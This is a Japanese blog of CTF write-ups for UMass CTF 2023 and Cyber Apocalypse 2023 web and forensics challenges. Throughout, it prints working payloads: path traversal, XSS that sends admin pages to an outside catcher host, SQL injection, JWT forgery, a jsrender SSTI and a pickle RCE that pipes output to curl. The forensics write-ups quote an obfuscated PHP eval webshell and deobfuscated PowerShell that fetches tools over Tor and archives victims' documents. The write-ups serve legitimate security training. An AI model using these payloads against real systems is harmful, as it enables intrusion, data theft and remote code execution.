はまやんはまやんはまやん

hamayanhamayan's blog

UMass CTF 2023 Writeups

[web] DeepFried

ソースコードが与えられる。
パット見てどこにフラグがあるかわからないが、巡回すれば/restricted_memes/TheFlag.jpgだけ
画像が違うのでこれを抜き出すことを考えてみる。

router.all('/restricted_memes/:img', async (req,res, next)=>{
    if(req.ip === '::ffff:127.0.0.1') {
        next();
    } else {
       return res.status(403).send("Unauthorized Request");
    }
})

のようにこのフォルダの閲覧は内部からに制限されているので、画像のアップロードをURLからとして
http://127.0.0.1:3000/restricted_memes/TheFlag.jpgを送ってこれをアップロードしてもらうことにする。
するとSet-Cookie: 031052a5337bff63d6037ffec117e25d/TheFlag.jpgのようにCookieにアップロード先がくっついてくるので、
/uploads/031052a5337bff63d6037ffec117e25d/TheFlag.jpgにアクセスすると、See flag.txt in this directory for the flag.と言われる。

LFIを探すと、POST /captionsubmitに存在する。
cookieにアップロード先のパスが入っていて、使うときに../が削除されているが再帰的に削除はしないので、
....//のようにすると、1回だけ消されて../と残すことが可能。
これでパストラバーサルできるので任意のファイルを持ってこれる。

router.post('/captionsubmit', async (req,res)=>{
    let caption = req.body.caption;
    let image = req.headers.cookie;

    try
    {
        image = image.replaceAll('../','');

        let fried = await fry(caption, image);
        res.set('Set-Cookie', fried);

        res.render(path.resolve('views/Returned.html'),{
            caption: caption,
            fried: fried
        })
    } catch (error)
    {
        return res.status(400).send("ERROR: Something went wrong while Frying");
    }
})

async function fry(caption,imagepath){
    const data = fs.readFileSync(`uploads/${imagepath}`, 'base64');
    try {
        let image = new Image();
        ...

        return base64img;
    } catch (error)
    {
        return data;
    }
}

後は、flag.txtを持ってくるだけ。
以下のようなリクエストでbase64エンコードされたフラグが持ってこれる。

POST /captionsubmit HTTP/1.1
Host: deepfried.web.ctf.umasscybersec.org:3000
Cookie: ..././..././..././..././..././FRY/restricted_memes/flag.txt
Connection: close

caption=asdf

[web] umassdining2

ソースコードが与えれる。
アドミンにGET /admin_dashboardを踏ませると中身にフラグが含まれている。
XSSが達成できればよさそう。

ファイルをアップロードするたびにadminにユーザー名を見せることができる。
なお、ユーザー名でXSS可能。
だが、CSPとしてdefault-src 'self'が付いている。
同時にファイルアップロード機能もあるので、これを使って読み込むのだろう。

router.post('/submit',middleware.authReq,(req,res)=>{
    if(!req.user){return res.status(403).send('Unauthorized action!')}
    let file = req.files.submission;
    if(path.extname(file.name)!=='.png'){
        res.status(400).send("Invalid file type. Expected \".png\"")
    }

    let dir = crypto.createHash('md5').update(req.user).digest('hex');
    if(!fs.existsSync(`uploads/${dir}`)){
        fs.mkdirSync(`uploads/${dir}`);
    }
    fs.writeFileSync(`uploads/${dir}/${file.name}`,file.data);

    getSub(req.user,file.name);
    res.send("Admin is gonna check this out.");
})

ファイル末尾が.pngだと読み込めないが…と思ったが、.pngのif文の中で発行しているresにreturnが付いていないので、

アップロード自体は行われてしまう。

攻撃の流れとしては、まず以下のようなjsコードを用意する。

window.location.href="https://[yours].requestcatcher.com/t?f="+document.querySelector('secret').textContent;

これを適当にevil.jsみたいにアップロードして、URLを発行してもらう。
あとは、それを使って
<script src="/uploads/0b10813e85c20b58a023440d9f58d7e2/evil.js"></script>のようなユーザー名の
ユーザーを作成して、適当にアップロードすると、ユーザー名を使ってXSSが発火され、
CSPも回避してフラグを読み取ることができる。
CSPでdefault-srcがselfなので、fetchとかではなくlocationによる遷移で情報を抜き出す必要があるのに注意。

Cyber Apocalypse 2023 - The Cursed Mission Writeups [Web, Forensics]

[web] Trapped Source

PINコードを入力する画面が与えられる。
Burp Suiteを開いて、ページを操作してみると、GET /static/js/script.jsというリクエストがある。
ここでCONFIG.correctPin == pinという記載があり、どこかにcorrectPinというのが置いてありそう。
GET /の履歴を見るとcorrectPin: "8291",と記載があり、これを使えばフラグが得られる。

[web] Gunhead

/flag.txtを取得するのが目的。
ReconModel.phpを見るとコマンドインジェクションできる攻撃点が見つかる。

    public function getOutput()
    {
        # Do I need to sanitize user input before passing it to shell_exec?
        return shell_exec('ping -c 3 '.$this->ip);
    }

ここへはReconController.phpからの入力が入る。

さて、実際にサイトを起動してみるとサイバーな画面が出てくる。
右のコンソールボタンからコンソールを起動しよう。/helpとするとpingコマンドが見つかる。
/ping localhostのように使う。

コマンドインジェクションするので、/ping ||cat /flag.txtとするとフラグが得られる。

[web] Drobots

/homeにアクセスすればフラグが得られるが、ログイン済みである必要がある。
どこを攻撃するかであるが、database.pyを見るとSQL Injectionの脆弱性が見つかる。
user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)

ユーザー名についてはentrypoint.shを見ると
INSERT INTO drobots.users (username, password) VALUES ('admin', '$(genPass)');
とあるのでusername=adminでログインができればよさそう。

username: admin
password: " or ""="

以上を入れると、
SELECT password FROM users WHERE username = "admin" AND password = "" or ""=""
のようになり、""=""が常にtrueなので条件が必ず満たされ、ログインできる。

[web] Passman

ソースコードが与えられているので、とりあえずフラグの置き場を探す。
entrypoint.shに以下のようにある。

INSERT INTO passman.saved_passwords (owner, type, address, username, password, note)
VALUES
    ('admin', 'Web', 'igms.htb', 'admin', 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'password'),

これが取れればいい。
よーく見てみると、GraphqlHelper.jsから追えるUpdatePasswordを見ると、
で任意のユーザーのパスワード変更ができるようになっている。
これでadminのパスワードを変更してログインができそう。

ログイン後に以下のようなリクエストを投げる。

POST /graphql HTTP/1.1
Host: 178.62.64.13:30554
Content-Length: 194
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://178.62.64.13:30554
Referer: http://178.62.64.13:30554/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImV2aWxtYW4iLCJpc19hZG1pbiI6MCwiaWF0IjoxNjc5MjI1NTczfQ.KDljmUhM5YmkLKW6TLeSP7wiSd6LxRcjp6SIXy8oaqs
Connection: close

{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"newpassword"}}

Password updated successfully! ok!
新しく設定した認証情報でログインすればフラグが書いてある。

[web] Orbital

ソースコードが与えられる。
/signal_sleuth_firmwareが読めればフラグが得られる。

database.pyにSQL Injectionポイントがある。
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

ログインができればPOST /api/exportにあるパストラバーサルでフラグが取れそう。
なので、目下の目的はログインすることになる。

ログインロジックは以下の通り。

def passwordVerify(hashPassword, password):
    md5Hash = hashlib.md5(password.encode())

    if md5Hash.hexdigest() == hashPassword: return True
    else: return False

def login(username, password):
    # I don't think it's not possible to bypass login because I'm verifying the password later.
    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

    if user:
        passwordCheck = passwordVerify(user['password'], password)

        if passwordCheck:
            token = createJWT(user['username'])
            return token
    else:
        return False

存在しているユーザーは
INSERT INTO orbital.users (username, password) VALUES ('admin', '$(genPass)');
という感じ。adminは使える。
SELECTの応答をadmin:不明ではなくadmin:任意の応答のようにできれば、
任意のパスワードのmd5ハッシュを入れ込んで検証へ使用させることができる。

passmd5ハッシュは1a1dc91c907325c69271ddf0c944bc72であるので、これでやってみる。

最初はこの形。
SELECT username, password FROM users WHERE username = "
まずは何も出力しないようにする。
SELECT username, password FROM users WHERE username = ""
これで何も出てこない。ここにunionで偽造の応答を作っていく。
SELECT username, password FROM users WHERE username = "" union select "admin", "1a1dc91c907325c69271ddf0c944bc72"
これでOK。こうするための入力は" union select "admin", "1a1dc91c907325c69271ddf0c944bc72なので、これをusernameとして入れて、passwordをpassにすればログイン可能。

あとはPOST /api/export{"name":"../signal_sleuth_firmware"}とすれば
return send_file(f'/communications/../signal_sleuth_firmware', as_attachment=True)のような感じになってルート直下のファイルが読み出せる。

フラグを見るとTime-based Blind SQLiが想定解っぽい。

[web] Didactic Octo Paddles

ソースコードを見ていくと、AdminMiddleware.jsの実装がかなりあやしい。

const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

algがnone,HS256以外の時は鍵がnullになる。

ok.
とりあえずユーザーを作ってjwtを発行してもらおう。

POST /register HTTP/1.1
Host: 165.227.224.40:31433
Content-Length: 43
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.40:31433
Referer: http://165.227.224.40:31433/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

{"username":"test","password":"test"}

ログイン後に/adminを見てみるが、拒否される。

import jwt
payload = {
  "id": 1,
  "iat": 1679230796,
  "exp": 1679234396
}
res = jwt.encode(payload, '', algorithm='none')
print(res)

普通にnoneで作るとこんな感じだが、プログラム的にはNoneにすれば回避できそう。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjMwNzk2LCJleHAiOjE2NzkyMzQzOTZ9.

このような感じで作られてくる。base64でデコードされているのでnoneをNoneに変更してみる。
CyberChefでやったのはこんな感じ。

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Find/Replace(%7B'option':'Simple%20string','string':'none'%7D,'None',true,false,true,false)To_Base64('A-Za-z0-9%2B/%3D')Find/Replace(%7B'option':'Simple%20string','string':'%3D'%7D,'',true,false,true,false)&input=ZXlKaGJHY2lPaUp1YjI1bElpd2lkSGx3SWpvaVNsZFVJbjA

最終的には以下を使えばadminログイン可能。

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjMwNzk2LCJleHAiOjE2NzkyMzQzOTZ9.

/adminを使って攻撃を考えてみる。

router.get("/admin", AdminMiddleware, async (req, res) => {
    try {
        const users = await db.Users.findAll();
        const usernames = users.map((user) => user.username);

        res.render("admin", {
            users: jsrender.templates(`${usernames}`).render(),
        });
    } catch (error) {
        console.error(error);
        res.status(500).send("Something went wrong!");
    }
});

jsrenderに任意の入力ができて、テンプレートエンジンなのでSSTIだろう。
軽く検索するとRCEできるペイロードがある。

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/README.md#jsrender-nodejs

これをつかう感じで以下のようにユーザーを作る。

POST /register HTTP/1.1
Host: 165.227.224.40:31433
Content-Length: 187
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.40:31433
Referer: http://165.227.224.40:31433/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"test"}

これでGET /adminするとフラグが手に入る。

[web] SpyBug

管理者の権限でGET /panelを開くとフラグが書いてある。
60秒に1度、管理者が/panelを開くので、何とかXSSを狙う。
このページでは登録したagent情報が表示される。
ログインはできないが、agent登録自体にはログイン済みが要求されないので、適当にagentを登録することで、
その情報を/panelに映すことができる。

HTMLタグを埋め込む手順としては、以下のような感じ。
手元で動かすと埋め込まれていることがわかりやすい。

  1. /agents/registerを開いて新しくagentを登録する。{"identifier":"a16b34a5-b5cf-4d1c-930c-03030a3ca7a4","token":"31722f38-446b-4b15-adf3-ebbac2a8dd24"}のようにIDとtokenがもらえる
  2. /agents/details/a16b34a5-b5cf-4d1c-930c-03030a3ca7a4/31722f38-446b-4b15-adf3-ebbac2a8dd24を使ってhostname, platform, archが変更できる。ここでhtmlタグがうめこめる
  3. /panelを開くとHTMLタグが埋め込まれていることがわかる。

これでjsコードが動くか…と思ったがCSPに阻まれる。

Content-Security-Policy: script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';

これを解決するために、agentsのファイルアップロード機能を悪用する。
script-src 'self';が付いているのでファイルアップロードしたものをscript srcで読み込んで動かせることができればCSPを回避できそう。
↑の例で言うと、/agents/upload/da8faa7d-7a2c-49fc-967f-ab997f88d963/65423090-2656-458f-9b7c-f47e7f8577faに対してファイルを送る感じ。
だが、アップロード時にwavファイルである検証がある。
どうやってjsコードを差し込もうかな…と思い、ここで、ソースコードに含まれるrec.wavファイルをバイナリエディタで見てみると、すでに構築されていた。

$ hd rec.wav | head -n 20
00000000  52 49 46 46 2f 2a 16 00  57 41 56 45 66 6d 74 20  |RIFF/*..WAVEfmt |
00000010  10 00 00 00 01 00 02 00  80 bb 00 00 00 ee 02 00  |................|
00000020  04 00 10 00 4c 49 53 54  9a 00 00 00 49 4e 46 4f  |....LIST....INFO|
00000030  49 41 52 54 06 00 00 00  44 75 72 61 6e 00 49 43  |IART....Duran.IC|
00000040  4d 54 2c 00 00 00 68 74  74 70 73 3a 2f 2f 77 77  |MT,...https://ww|
00000050  77 2e 79 6f 75 74 75 62  65 2e 63 6f 6d 2f 77 61  |w.youtube.com/wa|
00000060  74 63 68 3f 76 3d 78 76  46 5a 6a 6f 35 50 67 47  |tch?v=xvFZjo5PgG|
00000070  30 00 49 43 52 44 09 00  00 00 32 30 32 30 30 37  |0.ICRD....202007|
00000080  32 38 00 00 49 4e 41 4d  24 00 00 00 52 69 63 6b  |28..INAM$...Rick|
00000090  20 52 6f 6c 6c 20 28 44  69 66 66 65 72 65 6e 74  | Roll (Different|
000000a0  20 6c 69 6e 6b 20 2b 20  6e 6f 20 61 64 73 29 00  | link + no ads).|
000000b0  49 53 46 54 0e 00 00 00  4c 61 76 66 35 38 2e 37  |ISFT....Lavf58.7|
000000c0  36 2e 31 30 30 00 64 61  74 61 2a 2f 3d 22 22 3b  |6.100.data*/="";|
000000d0  61 6c 65 72 74 28 30 29  3b 2f 2a 00 00 00 00 00  |alert(0);/*.....|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

これを試しに読み込んで動かしてみるとエラーになる。
よくよく見ると、*/が含まれており、ゴミが入ってしまっている。
ファイルの検証はどうせ先頭しか使わないだろうと思い、ファイルの上記に書いてあるくらいの先頭バイトを取り出して、末尾に*/を追加して使ってみると動いた。
これをアップロードしてみると検証を回避できた。ok.
これでパーツはそろったので、以下のような手順で攻撃する。

  1. /agents/registerを開いて新しくagentを登録する。{"identifier":"a16b34a5-b5cf-4d1c-930c-03030a3ca7a4","token":"31722f38-446b-4b15-adf3-ebbac2a8dd24"}のようにIDとtokenがもらえる
  2. rec.wavの先頭部分を取り出し、alert(0)の部分をfetch('/panel').then(e=>e.text()).then(e=>{window.location.href='https://[yours].requestcatcher.com/test?get='+e;})に変更して保存しておく
  3. rec.wavを/agents/upload/da8faa7d-7a2c-49fc-967f-ab997f88d963/65423090-2656-458f-9b7c-f47e7f8577faを使ってアップロードしてGUIDを受け取る
  4. /agents/details/a16b34a5-b5cf-4d1c-930c-03030a3ca7a4/31722f38-446b-4b15-adf3-ebbac2a8dd24を使ってhostname, platform, archがする。このとき、archに<script src="/uploads/{guid}"></script>を入れる
  5. しばらく待つと管理者が/panelを開き、scriptタグ経由でrec.wavに含まれるjsコードが発動し、requestcatcherに/panelの内容が送られる

rec.wavを作る所以外は自動化した。コードは以下。

import requests
import json

BASE = 'http://localhost:1337/'

res = json.loads(requests.get(BASE + 'agents/register').text)
identifier = res['identifier']
token = res['token']

assert requests.get(f'{BASE}agents/check/{identifier}/{token}').text == 'OK'

name = 'rec.wav'
guid = requests.post(f'{BASE}agents/upload/{identifier}/{token}', 
    files = {'recording': ('rec.wav', open(name, 'rb'),'audio/wave',{})}).text

print(f'{BASE}uploads/{guid}')

xss = f'<script src="/uploads/{guid}"></script>'
requests.post(f'{BASE}agents/details/{identifier}/{token}', data={'hostname':'a', 'platform':'b', 'arch': xss})

[web] TrapTrack

フロントエンドのサイトと、curlでリクエストを送ることができるサイトが用意されている。
フロントエンドではcurlで開くURLを登録でき、pickleでシリアライズされたジョブをredisをキューとして使って受け渡している。
というのがサイトの概要。
/readflagを実行して中身を取得する必要があり、RCEが要求される。

全体概要について、最初にまとめて説明してしまう。
pickleと言えばUnsafe Deserializationであり、これならRCEまで持っていける。
redisが使われていて、curlでリクエストを飛ばせるということはSSRFでredisに任意の内容を入れ込むことができる。
redisに任意の内容が入れ込むことができるということは、pickleでシリアライズされたジョブを自由に設定できるということで、
つまり、Unsafe Deserializationが引き起こせるということになる。

SSRFからのredisに任意データ差し込み

curlで任意のURLを開くことができるので、SSRF脆弱性が存在している。
実はこの場合、redisに任意のデータが入れ込める可能性がある。

ソースコードは与えられているので、localで環境を立ち上げて、ターミナルに入ってみる。
起動直後のredisの中身を見てみよう。

# redis-cli -h localhost
localhost:6379> keys *
1) "100"
2) "jobs"
localhost:6379> hkeys jobs
1) "100"
localhost:6379> hget jobs 100
"gASVeAAAAAAAAAB9lCiMBmpvYl9pZJRLZIwJdHJhcF9uYW1llIwJV2lraXBlZGlhlIwIdHJhcF91cmyUjBpodHRwczovL3d3dy53aWtpcGVkaWEub3JnL5SMCWNvbXBsZXRlZJRLAYwKaW5wcm9ncmVzc5RLAIwGaGVhbHRolEsBdS4="

なるほど。
サイトを立ち上げてadmin:adminでログインして、以下のURLを踏ませてみる。

dict://127.0.0.1:6379/hset jobs 200 "test"

しばらく待って再度jobsの中身を見てみよう。

localhost:6379> hkeys jobs
1) "200"
2) "101"
3) "100"
localhost:6379> hget jobs 200
"test"

先ほどの文字列が追加されている!
このようにdictプロトコルなどを使えば、直接TCPリクエストを飛ばすことができ、redisに対して任意の操作が行える。

Unsafe DeserializationからのRCE

この場合のUnsafe Deserializationをかなりざっくりいうと、外部からpickleでシリアライズされたデータを
pickle.loadsに渡すことができれば、その時点でRCE達成できる。
この場所を探すとcache.pyに以下のようなコードがある。

def get_job_queue(job_id):
    data = current_app.redis.hget(env('REDIS_JOBS'), job_id)
    if data:
        return pickle.loads(base64.b64decode(data))

    return None

いい感じ。これを呼んでいるのがroutes.pyの以下。

@api.route('/tracks/<int:job_id>/status', methods=['GET'])
@login_required
def job_status(job_id):
    data = get_job_queue(job_id)

    if not data:
        return response('Job does not exist!', 401)

    return Response(json.dumps(data), mimetype='application/json')

job_idを指定するだけでredisから持ってきてpickle.loadsに食わせてくれる。
これを悪用すればよさそう。

payload作成と攻略へ

Unsafe Deserializationでデシリアライズさせるpayloadを用意しよう。
以下のように用意可能。

import pickle, base64
from os import system

data = "/readflag | curl https://[yours].requestcatcher.com/test -X POST -d @-"
class Evil():
    def __reduce__(self):
        return(system,(data,))
print(base64.b64encode(pickle.dumps(Evil())))

RCEコードではreadflagを実行して、その結果をcurlを使って指定エンドポイントにPOSTで送っている。
これでgASVeAAAAAAAAAB9lCiMBmpvYl9p...みたいなものが出力されるので、これをredisに差し込む。
job_idは999を使ってみる。

dict://127.0.0.1:6379/hset jobs 999 "gASVeAAAAAAAAAB9lCiMBmpvYl9p..."

これでredisに悪意あるpickleシリアライズドデータが入ったので、最後にGET /api/tracks/999/statusをすればコマンド実行される。

[Forensics] Plaintext Tleasure

pcapファイルが与えられて、管理者のユーザ名とパスワードを見つけよという問題。
プロトコル階層統計を眺めると、HTTP通信が中心っぽいので、TCPストリームを順番に眺めていくことにした。
するとストリーム4にて、ユーザー名パスワードが送られている部分があり、フラグが書いてある。

[Forensics] Alien Cradle

powershellスクリプトファイルが与えられる。
適当に;で改行して整形すると、以下のようにフラグっぽい行があるので、つなげると答え。

$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■_d' + '0n3}';

[Forensics] Extraterrestrial Persistence

シェルスクリプトが与えられる。
目を引くのは以下の行。

echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNT■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■"|base64 --decode > /usr/lib/systemd/system/service.service

base64エンコードされた文字列がデコードされてどこかに保存されている。
場所からして問題の題名にもあるように永続化のためだろう。
W1Vua...の部分を取り出してきてCyberChefあたりで
From Base64base64デコードするとフラグが出てくる。

[Forensics] Roten

pcapファイルが与えられる。
HTTP通信以外は特にめぼしい通信はないので、TCPストリームを巡回してみるか…と思ったが結構量が多い。
「オブジェクトをエクスポート」から「HTTP」でとりあえず全部持ってくることにした。

map-update(9).phpに怪しい出力があった。
TCPストリーム#173を見ると該当ファイルが通信されている。

-----------------------------310973569542634246533468492466
Content-Disposition: form-data; name="uploaded_file"; filename="galacticmap.php"
Content-Type: application/x-php

<?php 
$pPziZoJiMpcu = 82; 
$liGBOKxsOGMz = array(); 
$iyzQ5h8qf6 = "" ; 
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e  =p   xt\" ?ltps vdfic-xetrmsx'l0em0  o\"oc&'t [r\"e _e;eV.ncxm'vToil   ,F y"; 
・・・
$iyzQ5h8qf6 .= " \ni.  \"sio  woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1  i ll2'd='oe'lpbf)d '\$.sr<cr\nl h  r . .in   "; 
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = ""; 
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; } 
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz)); 
$bhrTeZXazQ = "?>$bhrTeZXazQ"; 
eval( $bhrTeZXazQ ); 
?>
-----------------------------310973569542634246533468492466--

プログラムを読むと難読化解除してevalに投げている感じなので、evalをechoに変えて実行することで難読化を解除する。
すると、その中にフラグが書いてあった。

$ php a.php | grep HTB
##flag = HTB{■■■■■■■■■}

[Forensics] Packet Cyclone

Windowsのイベントログとsigmaルールが与えられる。
問題文にchainsawを使って解析せよと書いてあるので従うことにする。

  1. Release v2.5.0 · WithSecureLabs/chainsawから最新持ってきて解凍
  2. ./chainsaw hunt --mapping mappings/sigma-event-logs-all.yml -s ../sigma_rules/ ../Logsな感じで実行

すると以下2件のコマンド実行が検知される。

"C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI
"C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" copy C:\Users\Wade\Desktop\Relic_location\ remote:exfiltration -v

rclone使ったことなかったがこういう感じなのね。分かりやすい。
問題に答えていこう。

$ nc 143.110.160.221 30158
What is the email of the attacker used for the exfiltration process? (for example: name@email.com)
> majmeret@protonmail.com
[+] Correct!

What is the password of the attacker used for the exfiltration process? (for example: password123)
> FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI
[+] Correct!

What is the Cloud storage provider used by the attacker? (for example: cloud)
> mega
[+] Correct!

What is the ID of the process used by the attackers to configure their tool? (for example: 1337)
> 3820
[+] Correct!

> C:\Users\Wade\Desktop\Relic_location 
[+] Correct!

What is the name of the folder the attacker exfiltrated the files to? (for example: exfil_folder)
> exfiltration
[+] Correct!

[+] Here is the flag: 

[Forensics] Artifacts of Dangerous Sightings

vhdxファイルが与えられる。
開けるかな…と思ってFTK Imagerを開いてみると開ける。
適当に巡回していくと、C:\Windows\Tasks\ActiveSyncProvider.dllのAlternate Data Streamにhidden.ps1というファイルが置いてあった。
がっつり難読化されていたので解析していく。

powerShell.exe -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc JAB7AFsAfgBAAH0AIAA9ACAAJAAoACkAOwAgACQAewAhACEAQAAhACEAXQB9ACAAPQAgACsAKwAkAHsAWwB+AEAAfQA7ACAAJAB7AFsAWwAhAH0AIAA9ACAALQAtACQAewBbAH4AQAB9ACAAKwAgACQAewAhACEAQAAhACEAXQB9ACAAKwAgACQAewAhACEAQAAhACEAXQB9ADsAIAAkAHsAfgB...

いつものbase64エンコーディングされている感じなので
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&input=cGF5bG9hZA
のような感じでbase64デコードして、UTF-16として読み込む。
ちょっと整理したが、以下のようなものが出てくる。

${[~@} = $();
${!!@!!]} = ++${[~@};
${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]};
${~~~]} = ${[[!} + ${!!@!!]};
${[!![!} = ${[[!} + ${[[!};
${(~(!} = ${~~~]} + ${[[!};
${!~!))} = ${[!![!} + ${[[!};
${((!} = ${!!@!!]} + ${[!![!} + ${[[!};
${=!!@!!}  = ${~~~]} - ${!!@!!]} + ${!~!))};
${!=} =  ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]};
${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]);
${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27];
${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";
"${@!=}${~~~]}${(~(!....} | ${=@!~!}"
 |& ${=@!~!}

結構厳しい感じ。動的解析しながら解析していくことにする。順番に実行していきながら見てみると最後の${=@!~!}がiexになることがわかる。
なので、最後の|& ${=@!~!}だけを消して、最終的に使われる文字列を抜き出す。
隔離環境でやること。

[Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + …  + [Char]34 + [Char]10 | iex

同様にiexを消して動かすとさらに難読化解除でき、やっと最終的な形になる。

### .     .       .  .   . .   .   . .    +  .
###   .     .  :     .    .. :. .___---------___.
###        .  .   .    .  :.:. _".^ .^ ^.  '.. :"-_. .
###     .  :       .  .  .:../:            . .^  :.:\.
###         .   . :: +. :.:/: .   .    .        . . .:\
###  .  :    .     . _ :::/:                         .:\
###   .. . .   . - : :.:./.                           .:\
###  .   .     : . : .:.|. ######               #######::|
###   :.. .  :-  : .:  ::|.#######             ########:|
###  .  .  .  ..  .  .. :\ ########           ######## :/
###   .        .+ :: : -.:\ ########         ########.:/
###     .  .+   . . . . :.:\. #######       #######..:/
###       :: . . . . ::.:..:.\                   ..:/
###    .   .   .  .. :  -::::.\.       | |       .:/
###       .  :  .  .  .-:.":.::.\               .:/
###  .      -.   . . . .: .:::.:.\            .:/
### .   .   .  :      : ....::_:..:\   ___   :/
###    .   .  .   .:. .. .  .: :.:.:\       :/
###      +   .   .   : . ::. :.:. .:.|\  .:/|
### SCRIPT TO DELAY HUMAN RESEARCH ON RELIC RECLAMATION
### STAY QUIET - HACK THE HUMANS - STEAL THEIR SECRETS - FIND THE RELIC
### GO ALLIENS ALLIANCE !!!
function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};

    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res;
}

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split '\r';
    return $List;
}

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'https://relic-reclamation-anonymous.alien:1337/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';

    $7zdll = '"'+$tmp+'\7z.dll"';
    $7zexe = '"'+$tmp+'\7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;

    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

